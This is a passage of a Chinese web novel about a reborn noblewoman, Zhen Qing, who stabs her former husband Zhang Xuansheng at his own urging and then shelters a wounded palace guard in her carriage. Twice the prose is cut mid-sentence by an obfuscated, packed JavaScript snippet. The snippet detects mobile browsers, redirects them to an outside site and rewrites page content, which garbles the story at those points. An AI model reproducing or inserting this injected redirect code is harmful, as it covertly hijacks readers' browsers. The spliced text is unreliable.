枕清也瞧了一眼站在她对立面的仇羌,面无波澜地看向周犹,她知道张宣晟已经猜出来她的反常。 至于周犹,大概是不放心,而来除掉她。 青檐乌瓦,雨珠低垂,院中下着细雨,缠绕篱笆的藤蔓,青翠成片的竹林,含在朦胧的雨雾中,望眼山间云雾蒙蒙。 竹林烟雨。 算是选了一个好地方。 枕清阔步走上前,一同落在屋檐下,看着周围灰蒙蒙的景色,竟也别有一番风味。 周犹问道:“县主竟也不害怕吗?” 枕清靠在一旁的柱子上,语调淡淡地:“怕有用吗?” 周犹沏了一壶冷茶:“也是,既然知道,你打算怎么死呢?” “为何我一定会死?而死的那个人,难道不会是你吗?” “这里都是我的人,你有什么反抗的余地?!” 周犹神色突然大怒,像是被枕清压抑了许久,随便一点就能挑开他的怒火。 枕清倒是平静,在外人看来,是认同后的沉默不语。 气氛凝滞。 待周犹没有耐心地转动杯子,要有下一番的动作时,枕清突然踹开周犹身边的桌案,桌案翻转,杯具茶盏四分五裂。 一直在旁边蓄力待发的仇羌眼疾手快地拿起瓷片,抓住周犹,瓷片也成了利器,抵在了周犹的脖颈处。 身为人质的周犹眼皮猛然一跳,局势瞬时调转,四周小弟也被局势变化整得蒙头转向。 枕清懒洋洋地捡起瓷片,笑着把玩,纤细的手指被锋利的边缘割出一道血渍。 微微刺痛,却能忍受。 不少人打量枕清的目光变得古怪,唯独仇羌看起来无二,就在刚才,他就发现枕清骨子里就是一个疯子。 枕清着看周犹,学着他的话,讥讽道:“这里都是我的人,你有什么反抗的余地?周郎君难道不知道‘反水’这词?” 她玩味地笑了一下,扬起下颌,调侃道:“倘若真的不知道,那现在也能感受到了吧。” “你果真不是我想象的那般简单!先是故意用玉佩撞上我们,再让我们被迫离开禹王府,而这段时间的珠宝一案,拉我们下水,也是和你有关吧?”周犹逐一分析,“至于为什么针对我们,是因为上一世,你和……” 不远处一阵急促的马蹄声踏来,生生截断了周犹接下来的话,所有人的心开始提了起来,两方人都僵持不下,只能慢慢感知要到来的那人。 枕清顺着声音朝那个方向看去,只听见一道极为熟悉的声音在喊周犹,急促又带着戾气,对周犹此次的单独行动极为不满。 张宣晟骑了一匹棕马,他冒着风雨而来,身上被雨水浸湿,裹挟满身的寒气。 她记得上一世有一回也是这样,张宣晟也带着满身寒气来了立政殿,跟她说自己要对禹王动手了。 那时是为了试探她的底线和不舍吗? 枕清已经忘了张宣晟当时的神态。 但绝不是如同现在这般,对她流露出万般感慨后的恋恋不舍。 简直可笑至极! 张宣晟走前要去触碰枕清的手,枕清侧身躲过他的动作,目光坦然地看着他道:“男女有别,还请张郎君莫要坏了我的名声。” 张宣晟仿佛听到了天大的笑话,上一世他们二人的关系,是相濡以沫,举案齐眉的夫妻,是这个世上最亲密之人! 她居然如此说,他不由愠怒反问道:“坏了你的名声?可你本就是我的……” “你的什么?我是你的什么?张郎君莫不是忘了,我现在是县主,而你什么都不是。”枕清冷芒的神色扫视过来,步步紧逼,“你说出这些话的时候有谁会信?又有谁敢信?小心引火烧身。你死了不要紧,只是不要弹了我一身的灰,我嫌脏!” 张宣晟被说得面色惨白,只好默默地咽下最后一个字。 他蜷缩回自己的手指,低垂目光,声音是从未有过的温柔:“我想有话同你说。” 枕清面无表情地弯唇,眼中毫无笑意,当即转身推开了门。 这间屋子是三室格局,入门便是会客堂,她坐上了主位,并没有要开口的意思,而她,也和张宣晟没什么好聊的。 跟随枕清进门的张宣晟,看了一眼外面的人,面无表情地关上门后,这才敢开口。 张宣晟肯定道:“你也重生了。” 枕清挑眉冷笑:“现在才发现,未免太晚了吧,况且我并不想和你交谈。” 张宣晟不解道:“是我欠你的,但上一世你杀了我,我已经还给你了,你为何还要一定恨我?我想不明白。” 枕清道:“我不恨你,只是厌恶你。” 张宣晟垂下目光,没有暴怒,而是苦笑道:“我做了什么穷凶极恶的事情,叫你这么厌恶?我承认我利用过你,也想除掉你身边的人。 “可是后来,我是真的爱你。你让我查找禹王的罪证,给他定罪,我照办了,你要逐周犹和江诉出长安,我也听了。你让我不要动陆家和陆佑善的时候,我又可曾忤逆过你任何一句?至于为了那些世家女子而冷落你,我都是为了帝位不得已而为之,你这般聪明伶俐,能理解我的吧?” 他慢慢走近,缓缓蹲在枕清身侧,温厚宽大的手掌覆盖在她的手掌上,卷缩指节,小心翼翼地握住枕清的手,炙热的温度隔着皮肉瞬间传递过来。 枕清像是被灼伤了般撤开手,她抬手伸出食指点了点自己的下颌,低垂目光和张宣晟对视,冷冷弯唇道:“是因为只有给禹王定罪,让他死去,你才能从我身上获益。” 她一点点撕开张宣晟虚伪的面具,把利益显露出来,所有的算计都似呈现在一张纸上,叫人无处遁寻,看得分明。 枕清极为有耐心地伸出食指敲打在桌案上,冷声道:“我逐江诉出长安,不也是合了你的意,若我不逐他出长安,你也早已动了杀心,他在长安久留,必死无疑。至于院门外的周犹,你真的敢一直让他留在你身边吗?你不敢,你做的肮脏之事,他知道得一清二楚!而陆家,是你上位的有功之臣,你想下死手,又怕别人说兔死狗烹,无可奈何。 “你真的是为了我吗?你难道不是因为局势所迫!何必说得如此冠冕堂皇,为你所要做的事情寻一个理由,而将由头都指向因为我!” 枕清垂下冷寒的目光,下颚抬起清晰的弧度,近她之人都知道她在事情上用强硬抗拒姿态示人,唯独外人面前以柔弱之姿伪装自己。 而张宣晟反之。 她伸出纤细的食指,勾住张宣晟的脖颈,用力上抬,显露出一张俊美的面容,好似就掌控在她的手中。 她微眯眼,忽地甩开他的脸,站起身后冷声厉道:“张宣晟,别太可笑了,你究竟为了什么目的而娶多少位长安贵女,我一点都不在意。” 张宣晟的脸被甩得微微偏着,他执拗地抿着唇,掩饰空洞的神色,忽而自嘲道:“你竟是如此想我的?既然如此,你已经不信我了,你不是记得之前的事吗?现在还有机会可以杀我,你在等什么?来杀我啊!” 他站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665315|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,将身子转向枕清,乌黑俊秀的桃花眼盯着她,从袖子中拿出一把匕首。 枕清回首看着刀光的银寒,她抬头看向走近的张宣晟。 张宣晟反手握住刀面,手指被锋利的刀锋割出伤口,鲜血瞬间涌出,他把那面干净的刀柄留给枕清,逼着枕清拿起利刃。 枕清不由自主地后退,也不愿凑近,张宣晟拉住她的手,枕清皱眉,朝后要脱手,张宣晟迅速用双手覆盖在枕清握住匕首的手,刀尖朝自己的方向。 院外逐渐安静下来。 斜风忽而拍打在窗面上,门也被吹得嘎吱作响,凌厉的风似要破空而来,叫人猝不及防。 枕清倏然听到“唔”的一声,已经能想出来仇羌是如何捂住周犹,逼得人不再溢出一点响音。 天地间,静得只有风和雨的声响。 “你当真以为我不敢再杀你一次吗?” 她的手被张宣晟死死握住无法松开,骨节泛白,血迹黏在她的皮肉上,就连指尖都变得滚烫了起来。 她目光从匕首缓缓移开,移至在张宣晟克制的面庞,枕清不再挣扎,顺着张宣晟的力度,刀剑直直刺了进去,听见没入声,那件衣服慢慢地、一点一点地染成红色。 屋内沉昏的光线逐渐变得黯淡,她眼中颜色逐渐淹没成血红色,好像全世界也只剩下血红色,就连她自己也像是倒在血泊之中。 又是血。 满手地血。 极其浓重地血腥味。 反倒是对面的张宣晟松了一口气,他苍白笑道:“如此,我再也不欠你了,那你是否能原谅我,哪怕就是一点,一点也好。” 身上的痛感蔓延至全身,张宣晟疼得站不住身,缓缓倒了下去,沾满鲜血的手跟着身子一道,倏地坠落,血迹碰到枕清轻薄的外衫,像是画面中的朱砂。 而枕清是画中仙,即使被污浊染了色,却也难改纤尘之气。 枕清感觉到自己先前割伤的一道口子被张宣晟的鲜血覆盖,看不出原来的伤口的样子,好像没有了。 真的没有了吗? 可是摸到了,还是会痛的。 只是看不到罢了。 她也曾经问过自己为什么一定要针对张宣晟,为什么如此痛恨他。 大概是她曾经有许多选择,却被张宣晟想要得到他的利益,被逼得只有两条选择,一条是江诉,另一条是张宣晟。 知道内情的人都以为是江诉放弃了她,只有她自己的心才知道,其实她也从未选择过江诉。 上一世跪坐在江诉桌案前的那一夜,即使江诉答应了,她也不会跟着江诉一道,更何况她知道江诉不会答应,所以她坏心眼地要江诉一辈子都记着她,而她也会用此原因来说恨他。 至于为什么会选择他,又为什么去见他,那大抵是因为,她真的想他了。 此后的万般利益,她一直选了最便捷的那条路。 一面可以护住自己的至交好友和隐秘爱人,另一面和张宣晟虚以委蛇。 是真的讨厌吗? 她在乎的东西不多,可是到了最后,她一件都没有得到,明明步步为营,却失去了所有的真心实意。 她最怨恨和释怀的人,是她自己。 “上一世虽然杀了你,但你也活不了几日。至于从前过往的隐瞒、利用、欺骗、亏欠,就散在这一滩血迹中,你不欠我了。”枕清松开满手是血的匕首,声音怔然一落。 枕清低垂眼睫,瞳孔映着倒下的张宣晟,她面容姣好,彼时更像是冷眼旁观、无情无爱的神仙。 张宣晟看着她冷漠的神色,如坠深渊。 最后,他听见她在说:“从此,我们互不相欠,再见就是陌路人。” 24. 雨过青衫添晴色(七) 屋外雨潺潺,风急如高浪。 急风骤雨间,门扉猛地被打开。 浓重的血腥味传到外边,所有人看到枕清强硬清冷的神态,再转向倒在血泊中的张宣晟,才察觉到这雨丝竟然这般凉,仿佛把所有人都拉到岁暮天寒里。 周犹看到张宣晟,双目猩红,顾不得其他,恶狠狠地瞪了枕清一眼,也顾不得仇羌的动作,当即甩开仇羌的手朝屋内跑去,慌忙捂住张宣晟汩汩流出血的伤口,朝外怒道。 “还不去给我找郎中,要是他死了,你们一个都别想活!” 枕清听到周犹的暴怒声,忽而觉得背后有一道森寒朝她来,正想要转头,仇羌先她一步踹飞了要偷袭的那人。 闷哼声响,那人吐出了一大口血。 可见力道之大。 她缓缓回身,看向方才偷袭的那人,再转向面如鬼刹,死死盯着她的周犹。 她神态轻蔑,冷冷微笑,只和身旁的仇羌道:“走吧。” 那冷笑沾了多少嘲讽和不屑,只有周犹知道。 那是她的势在必得,这是他的不自量力。 可周犹想不明白,为什么张宣晟会知道,是不是因为枕清提前知道,把消息传给张宣晟,从而进阶到再次杀了张宣晟。 仇羌会反水,理应是他给的银两不够多。 可仇羌和自己在交谈时,分明像个哑巴一样。 枕清倒也真是厉害,竟然能做到如此地步,从前不显露山水,现在丝毫不隐瞒自己的实力。 是要这长安换一换风水了。 今日的天气诡谲,两人走向那一辆残破的马车上。 仇羌步伐轻快,想了想,惊讶道:“你竟然有如此本事?人家叫你杀他,你还真杀他?”他又自问自答,“也对,换作是我,我也杀。这是他自己叫我干的啊!” 说完最后还兴奋地露出一排小白牙。 枕清凝视他,双眸没有出现一点松懈,沉声问道:“你为何真的会跟我反水?我和他的对话,你在外边听到了多少?” 气势逐渐变得强势,和方才要杀的那人一样,高居上位者的临下,骨子里带有的蔑视。 仇羌也碰了碰笑僵的脸,他嘴角逐渐拉平,语调故作轻松随意:“因为跟着你有钱,起码比周犹有前途,我又不是他的手下,只是拿钱干事的人,未必会不让你所容。第二是我讨厌周犹,讨厌一切对我装扮和性子出现鄙夷的神态,虽然我没在他那表露出外,但我深知他一定是这样的人。” 这是仇羌第一次这么平和地跟枕清说话,就连他竟然也觉得意外,枕清不是弱女子,但也并非是强硬不讲理的人。 无论听到了多少,他也不怕枕清会痛下杀手,而对他斩草除根。 仇羌接着违心道:“我什么都没听到。” 枕清突然笑了,她一点也不信仇羌的话。 在半破的马车顶,她伸出手捧着滴落下来的清水,擦拭手中的血迹,缓缓开口道:“既然是我能说出来的话,我未必怕人知道,倘然我真怕人知道的话,我会永远烂在肚子里。所以你知道与否,我都不在意。” 她的话音一转,“不过,你最好和你所说的一样,什么都不知道,若是说了出去,想让你死的人,绝不止我一个。” 威胁!这绝对是威胁! 还以为改了脾性,还是一模一样。 仇羌呵呵道:“这是自然,你且放心吧,大县主!” 雨丝绵长,马车骑行到长安城边上,枕清新寻了一辆马车,仇羌走回自己的住所,两人分道而行。 车夫听到枕清说去禹王府,小心翼翼地问了她一句是否是县主。 枕清回给车夫的只有一道冷冷低垂的目光,那神态多有威压,叫人禁声,不敢多问。 行车半会,突有声响动,马车虽然稳当,她还是感知一点下垂的异动。 枕清猛然掀开帘子,问车夫:“你有没有听到什么动静?” 车夫扯动缰绳,一脸不以为意,嘴上小心翼翼道:“哦,大概是小孩子贪玩,拿石子扔马车呢,常有的事。” 枕清又看了眼离闹街逐渐远去,声音不自觉渐冷:“我刚刚怎么没听到孩童的声音。” 车夫刚想回话,下一刻看到一抹高大身影,立即扯动缰绳,止住了马匹的步伐。 此地巷口狭窄,雨路湿滑,前道有一群拦路的人马,不得不停下马车。 那人手握皮质缰绳,高坐马上,目光投向这辆马车,沉稳且不容拒绝的声音传来:“有事查案,还请小娘子下马车。” 枕清不用抬头就能知道那人是谁,是谢家第二位郎君,谢长均。 她缓缓抬起脸,又轻轻勾起唇角,佯装受惊般,神情在那群人身上摇摆,最后定在为首的那人身上,笑道:“原来是谢家二郎,我正要回府呢,今日可是发生了何事?闹得如此兴师动众。” 谢长均坐在通体鬃毛的烈马上,头盖一顶草帽,隔着雨幕,在看清枕清后,少了居高临下的盛气凌人。 之前在春日宴会上看到过枕清,自然也知道她是县主,当即给了个面子。 他拉住僵绳,利落地翻身下马,高声道:“家中出了个贼,偷了重要的东西,特地出来寻。” 说罢,谢长均走近看了一眼车夫,跟枕清拱手道:“县主可否行个方便,让我看一看,当然不是信不过县主,而是让大家都放心,莫要让那贼人惊扰了县主。” 此时雨浪大,风速快,目及所处都是湿淋淋的。 枕清只掀开帘布的一角,她看着雨水打湿在谢长均白净俊俏的面庞,正想要卖给他一个面子,掀开布帘让谢长均放心一瞧。 突然感知到背后有一道尖锐的东西抵在她的腰间,缓缓朝上滑至她的后颈,用冰冷匕首的那面贴在她的脖颈处,激得人冰寒刺骨,是十成十的威胁。 枕清的神色刹那间一僵,又随即恢复原状,掀开帘子的手一顿,感知身后匕首游走,浑身紧绷。 枕清在心中暗自咬牙,她撑着笑,贴心道:“自然是可以,不知道那人长得是何模样?我从城郊而来,一路上未曾停留过,没碰到你所说的那人,不过你需要的话,我可以请求阿耶来帮忙,必定事半功倍。” 身后的匕首稍重地刺进她的后腰,枕清感知背后尖面与皮肉相贴,再进一点,便会刺穿她的身子! “那人我也未曾看清,一身夜行衣,身量和我差不多高,不是什么好听的事,倒也不必劳烦王爷。”谢长均正想伸手往里边探看,枕清身子突然往前,阻止了他的动作,又猛地弯了身子,在裙摆处露出方才杀了张宣晟的血迹。 谢长均到手僵硬地划过枕清的衣衫,雨水跟着他的动作一同落在空中,他自然也看到了血迹,神情凝重,讶异地瞧着枕清。 枕清脸色苍白,她感觉到身后那人已经刺开她的皮肉! 背后的衣服也被鲜血浸湿变得黏透,这是实打实的危险和威胁! 身后那人已经没有耐心了。 枕清躬身,死死抓住帷布,疼痛难耐,慌慌张张遮住身后的血迹,欲盖弥彰道:“我来了月事,着实不方便谢二郎看到我这副模样,多有抱歉,我们改日再叙旧,不急这一时片刻。” 什么改日再叙,不急这一时片刻,仿若有熟稔的情谊一般。 谢长均还没反应过来,就看着枕清唤车夫离开,只剩已然远去的车影。 他的身形高挑修长,在雨中形成特有的一道风景,清冷又孤寂。 良久后他才回神,脸颊微微泛着红。 女儿家的事情,他竟然还想查看,果真是……还好她不曾怪罪于他。 县主和长安某些贵女郎君所描述大相径庭。 枕清卸了力气,身后的人拔开了匕首,她撤下布帘,回身的瞬间被捂住了嘴。 这人一身深色紧身衣,另一只手桎梏枕清的动作,深邃的眼眸直视眼中闪过惊慌的枕清。 师坤尧戒备地朝四壁看了一眼,压低声威逼道:“你最好给我安静点,不然我就把你杀了,再扔出去。” 这话一出,师坤尧没有感知到枕清有任何慌乱和反抗,除了第一眼看到他有惊讶,其下的一切都太过安静反常,他一抬眸便撞进了枕清那一双乌黑深沉的瞳仁,不似方才,只剩冰冷刺骨。 他心下微怔,突然感觉下腹有一点凉意,他循着视线望去,发现枕清手中不知何时拿了一把匕首,划开了他的衣料,捅进他的皮肉。 这个女人! 师坤尧大惊,他连忙后退,身子贴在车壁,发出不小的响声。 驱车的车夫听到动作,声音传进马车内:“小娘子怎么了吗?” 枕清背后虽有伤口刺痛,可她面上显露不出半点有伤的迹象,看到师坤尧受了伤,好整以暇地微挑眉。她无视师坤尧的怒火,转动带血的匕首,没有隐瞒的意思,朝外道:“有人跳进马车里来了。” 车夫傻眼地发出一声疑问,当即拉紧马车的缰绳,刚掀开帘子,被师坤尧一手桎梏住,下一瞬被敲晕了。 动作快速,出其不意。 师坤尧嫌弃地推开车夫,捂着肚子的伤望向枕清,声音压着火气道:“你一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665316|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闺中女子居然随身携带匕首,还将我捅了一道口子,当真是狠毒的烈女子!” “我狠毒?”枕清背脊贴在马车壁内,“难道不是你突然出现,不是你威胁我在先?现在还想倒打我一耙,这么好的本事不去搭唱台,令人惋惜。” “没你本事好,是我掉以轻心小看你了。”师坤尧咬牙道。 枕清抿了抿干涩的唇,忍着疼痛,垂首掀开香炉,拨动香熏,冲淡马车内血腥味。 “我不想与你多说什么,现在从马车内出去,我就当没见过你。” 从一开始,枕清就知道师坤尧受了伤,幸而他身上的衣服深,即使染了血也看不清楚,气味却直冲鼻尖,和她身上的血迹混在一起。 很难闻。 这人这身行头打扮,缺心眼的人才会收留,这人显然是被追杀,或是做了什么事,被家中主人发现了,沦落自此。 枕清所猜不假。 师坤尧刚从谢家逃出来,自是不可能再从这马车里出去,现在有人在严追紧查他,出去被发现就必死无疑。 方才一直藏在马车底部,直到谢长均和枕清撞上,他才敢从车底出来,跳进马车内。 自然也把谢二郎和枕清的对话听得一清二楚,师坤尧没想到枕清是县主,而且和谢长均认识,甚至还交谈了几句话,这样的交情,难保不会将他供出去。 他现在的伤势极为严重,这个枕清虽长得好看,对人下手却毫不手软,他一脸警惕地看着拨弄香薰的枕清,心一横道:“你没杀过人吧,拿匕首划我一刀,手都是抖的。” 这话是师坤尧猜测的,他没觉得枕清手抖,不过他看到枕清在看到匕首的血后,就用袖口将手藏起来,想来不能全然无恙去面对。 身为女子的枕清,他断想她肯定是不敢的。 “我的确没怎么杀过人,难不成你杀过?”枕清适才没有手抖,她只是最不喜欢别人威胁他,师坤尧刺她一刀,她也定要还他一道。 不曾想他身上布料太薄,直接捅了一道特别深的口子,滴得满地都是。 她不喜欢见血,这才把带血的匕首藏起来了,想来师坤尧有观察她,至于这话倒像是他硬要留下来,而来试探她的反应。 彼时的师坤尧听到枕清所讲,深觉这话是在套他,他就算杀了人,当下也不可能去承认,他可记得枕清认识谢二郎。 “我自然也没有。” 对于这个答案,枕清并不意外,没人会在外人面前承认自己杀人。 “那你到底在怕什么,是外面未到的追兵,还是正在找人的家仆,抑或是那位赫赫有名的谢家二郎?”枕清步步紧逼,“你为何一定要留在我的马车内,是我的面子大,好躲避吗?还是你和谢家又有什么关系?你说你没有杀人,身上的血腥味又从何解释?” 师坤尧被枕清每说一句,脸色愈难看一分,他所有躲避和搪塞的措辞,在枕清身上土崩瓦解。 还未来得及诡辩,枕清给他下了一个判定:“谎话连篇。” 师坤尧被枕清一大串的话打乱心思,又被马车内的香气熏得头疼,他抬手摸了摸自己的太阳穴道:“那你想如何?” 枕清声音冷冽:“滚出去,离我远点。” 没有车夫驱车行驶,马车被停在大路旁,这道四下无人,又是下着瓢泼大雨,雨雾灰朦看不清来时路,彼时又静到让人心慌。 马车内的正中间摆放一个四方茶几,周围铺着厚重的灰色毛毯,落下来的一滩血迹恰似唯一的亮色。 师坤尧被香熏得无可奈何,坐在马车边上,伸手拿起茶壶,泼灭了熏香味,他还没失去思考的能力,掀眸朝她道:“这不可能,起码我今日不会出这辆马车。” 外面的巡查的人必然还没有走,他现在伤势过重,天气又冷且下着雨,他真要是从马车内出去,不被人抓到,也能死在路上。 “你觉得这是现在的你能决定的吗?”枕清见他伤口还在滔滔不绝的溢血,摊在毛毯上。 她面无表情地掠过,感知到自己身后皮肉的痛感,缓缓闭眼片刻后,复而睁开。 “别把毯子弄脏了。” 师坤尧确实需要止血,可是现在的他如同鱼肉,受人刀俎。 枕清正想要把他踹下马车,瞧见他腰间别着一块铜制的鱼符。 是宫中的朝廷命官。 她端详了半会师坤尧的脸,莫名想到了太后身边有两位得力能者。 一位是人人惧怕的“海东青”罗长观,掌管皇城外,另一位是心狠手辣如“罗刹鬼王”师坤尧,主管皇城内。 25. 雨过青衫添晴色(八) 所谓“罗刹鬼王”,也只是皇宫内的人给他的称呼。 他冷心冷肠,唯独忠心于太后殿下,和罗长观相似,却又有极大的不同。 对于太后殿下来说,师坤尧比罗长观更为好控制。记得上一世,这师坤尧似乎是死在太后殿下的身前,是个忠心护主的。 春夏连接的雨带着春日绵绵,又有夏的爽利。 风轻轻拨开马车旁的帘子,外边一两辆马车擦肩而过。 此路狭窄,加上雨丝朦胧,周围的情况并不能完全看清。枕清视线缓缓从那个令牌移开,隔着雨水看着低溅起来的马车。 她这会儿没有着急赶他走,而是给了师坤尧一个机会,笑着道:“你不如实对我说,我实在是不敢留你。” 意思是他需要把今日的事情讲清楚,将刚刚枕清所有的疑问都说明白,那么这事情还有商量。 “可以讲讲你为什么执着留在马车内,这一身的伤如何弄得,莫要怪我,我一个小娘子无依无靠的,着实怕你是被通缉的要犯,你若是不说清楚,我是不敢留你与我同乘一辆马车。” 小女子? 他刺了她一下,她转手就拿出匕首捅他一刀。 还无依无靠? 当他是没听到谢长均的对话吗?这分明是禹王最疼爱的县主,是多少人达到顶峰也求不到的权利。 师坤尧想笑,他也确实嗤笑了一声道:“小县主,你这话说得并非合情合理。” “你留不留,能不能留,是我一句话的事情。”枕清挑起好看的眉眼,慢条斯理道,“你猜我为什么会拿出匕首,为什么会支开别人?你当真觉得我是在帮你吗?” 师坤尧恍若大悟般点点头,而后又道:“你知道那时我在车底,那么你从一开始就知道我在?所以你现在想怎么做?” 枕清目光犀利地流转在他伤口上,漫不经心地微微一笑道:“我可以帮你渡过此关,但我要你答应我一件事,不是叛主、杀人的事,对于你来说,是挥挥衣袖,力所能及的小事。” 正巧,外头的车夫疼痛地发出声音,枕清收回匕首,手撑着下颌,佯装苦恼道:“思考快些,不然他醒了,我就该送你上路了。” 师坤尧撑到现在已是极限,走不动了。 如果他不答应,枕清必然不会掩护他,先答应,至于日后做不做那件事或者能不能看到枕清,都取决于他自己。 况且,枕清未必知道他的身份。 可是她又为什么会说不是叛主的事? 眼前的女子心机深沉,似乎对任何事情都洞若观火,不忧不惧。可他并未听到有关这个县主的事情,唯独上次春日宴会上的风声。 此关难过,他唇齿启合,缓缓开口。 ——“我答应你。” 枕清眉眼舒展,缓缓撤回手,听到外边车夫发出痛声,当即掀开一角帘子,两人齐眉对视,车夫狐疑地瞥向她身后,谨小慎微问:“县主没事吧,那个人还在吗?” 注意到他的视线,枕清掩住身后的师坤尧,扶了扶额角,“我没事,那个人已经逃走了。” 车夫左右转了转发疼的脑袋,迟疑问道:“那县主能不能给我看一眼,我有些担忧县主?” 这是在怀疑她。 身后体力不支的师坤尧躺在毛毯上,发沉的身子只能抬手轻扯着枕清的衣角,如果现在被那车夫发现,他现在一定没有反抗的余地。 只能让枕清为他挡着,不要让车夫看到他。 枕清平静道:“那你看吧。” 师坤尧伸手抓住枕清的外袍开始颤抖,不知道是因为受了伤的缘故还是枕清那句话的刺激,他无力地轻呵一声,想爬起来反抗胁迫枕清,无奈这身体伤势真的太重了。 他闭着眼,内心掀起的波涛汹涌在此时无比宁静。 车夫的脚步声走近,紧张地伸手放在帘边,还未挑起查看,枕清轻抬下颌,低垂冷眸,声音凛冽:“你当真要看?” 语中的提醒警示意味十足,车夫自然听得明白,马车的血腥味又如此重,他凝滞一会,缓缓松开布帘,心中颇有疑虑和不甘。 这处多风沙,沿着街边,滚来几个残破被打湿的红灯笼,不料帘子随卷飞起,车夫瞳孔映着一个面色苍白的男人,又瞬间闪过,只剩平静的布帘,和挡在身前的枕清。 那里面真的躺着一个人! 车夫立时呆住,不自觉后退一步,频繁地眨眼看枕清,发现枕清此时的神情比前般更为和煦,却让车夫更加隐隐不安,仿佛是死前最后一点断头饭的甜味。 如果他不加以隐瞒,命不久矣。 枕清将他神情尽数收入眼底,弯唇启问:“我居然忘了,还没问你叫什么名字呢?” 她的笑容温和,声音清脆,仿佛叮铃的甜泉水,又分外地斯文有礼。 车夫滚动喉咙,声音发紧:“小的,叫顾可玖。” 枕清若有所思道:“顾可玖,真是个好名字,你不看了吗?” 已经知道答案,现在他怎地还敢看! 刚才那人武功很好,一下便把他敲晕了,彼此的枕清和那人的情形似乎调对了,而枕清也没吃亏,理应是面前这位小县主更为厉害些,他真怕小命儿难保,连忙摇头。 “先去城东客栈,再回禹王府。”枕清见顾可玖僵硬点头后,微笑说,“时间耽搁有些久了,快些启程回去吧。” 顾可玖坐上马车,拉住缰绳,心有余悸,有意和枕清说:“县主,刚刚我什么都没有看到,就是风沙太大,迷了眼。” 放下帘子的枕清在他看不见的地方笑了一下。 “无论有没有看到都没事,就是这人的这张嘴,最为重要。” 枕清本就有意让顾可玖知道师坤尧的存在,她到了客栈还要下马车,顾可玖肯定会查看马车,不如先让他知道,好把这人送到有人接应的客栈。 至于会不会暴露出去,枕清猜测顾可玖没有那个胆子,这一路瞧着人也不算愚笨。 帮不帮她隐瞒,就要看她给东西给得多不多了,抑或是威胁的力度大不大了。 枕清见师坤尧已经闭眼昏睡过去,她弯身拿过他腰间的鱼符,翻转背面,上面赫然写着——千霜内卫。 名字依稀只能辨认一个师字。 是他。 至于他去谢家要偷什么东西,枕清垂下眼,她伸出手去摸索他的腰身。 师坤尧当即皱眉,模模糊糊地看着枕清的身影,他想伸手阻止枕清的动作,可是没有任何力气,只能垂下手抓住那一丝衣角,再从手中划过,感知枕清在他身上游走的动作。 枕清并没有碰到任何东西,只摸到满手的血,她深深吸了一口气,当下把人推到一边。 应该是师坤尧知道自己现在保护不好那件东西,从而藏了起来。 她有疑虑地把这块腰牌扔回去,那块牌子有着血迹,黏在师坤尧的胸膛。 师坤尧被伤口刺激,痛得闷哼一声,枕清沉沉闭上双眸,她的手上都是血迹,腰后也有一块未凝干的血。 马车的香薰因为气味混杂,逐渐变得难闻,枕清用力将手掐进自己的皮肉里,才克制住自己不安定的思绪。 少许,顾可玖停下马车,他率先退在一旁,提醒道:“县主,到了。” 枕清掀开帘子,并未下马车,而是递给顾可玖碎银子,顾可玖没有推辞,枕清轻点头道:“把人叫出来,我就在这里等着。” 顾可玖走得很快,叫唤来的人也来得极快,枕清见人把师坤尧抬走后,回了府门。 这日的天气虽是闷沉,但正值初夏之际,既不炎热,也不寒冷,只是行走的地面略显湿滑。 不少下人在远处悄摸打量枕清,见她一身脏污的血色,心有猜疑,却也不敢多问,见枕清侧眸而来,她们弯腰行礼,面容带着恭敬笑容,道:“县主。” 枕清淡淡点头,突然问了一句:“你们可认识宁千渝?” 婢子们变幻神色,突然跪下,声音带着惊慌,似乎要撇开关系般:“千渝姐姐被管事姑姑罚跪在湖苑内,我们什么都不知情......” 罚跪? 枕清心神一跳,她这般执拗听话的人,如果她不来,岂不是要一直在雨中跪着? 她也顾不上身后的伤口,当即强忍着痛,去往湖苑内。 王府的花草被打理得井井有秩,春夏的草木繁茂,望眼皆是绿茵之地,鼻尖甚有萦绕远处还有几株花树散发出淡淡的幽香。 宁千渝正跪在一边,没有任何一株植物为其遮挡,腰身挺直,头发和面颊都是雨水,垂下的神色自若,又极为乖顺。 枕清走前,唤了一声她的名字。 宁千渝恍惚地抬眼,看到枕清的样子后,她扯开苍白的唇,露出一抹勉强的笑意。 半晌后,她才发觉枕清和她一同在淋雨,她颤颤巍巍地站起来身子,不料腿一软,直接落在枕清的身子上,枕清身上有伤,疼得眉眼微微拧紧,却也没有推开身前这人。 宁千渝慌忙起身,伸手挡住要落在枕清身上的雨水,枕清拿开她的手,抓住手腕,将人拉进廊下。 “别跪了,今日好好整理下,明日来我阁中伺候。”枕清吩咐道。 见人乖乖点头后,枕清正要离开,身后的人突然惊呼道:“县主,你受伤了!” 枕清回身,她目光淡淡地落在比她还要狼狈的人身上,开口道:“别人的血。” 说完这句话,枕清朝书阁中去。 今日是江诉休沐的日子。 江诉听到脚步声,他先是微微弯了下唇,缓缓抬起视线,入目的便是刺眼的血红。 他视线逐渐上移,那张原本精致秀美的面容带着血水,仿佛是从什么尸山血海中走出来的样子。 不似之前明朗,更没有之前高兴后的俏皮与狡黠。 今日发生的事情榨干了她的精气神,又变得麻木和劳累。
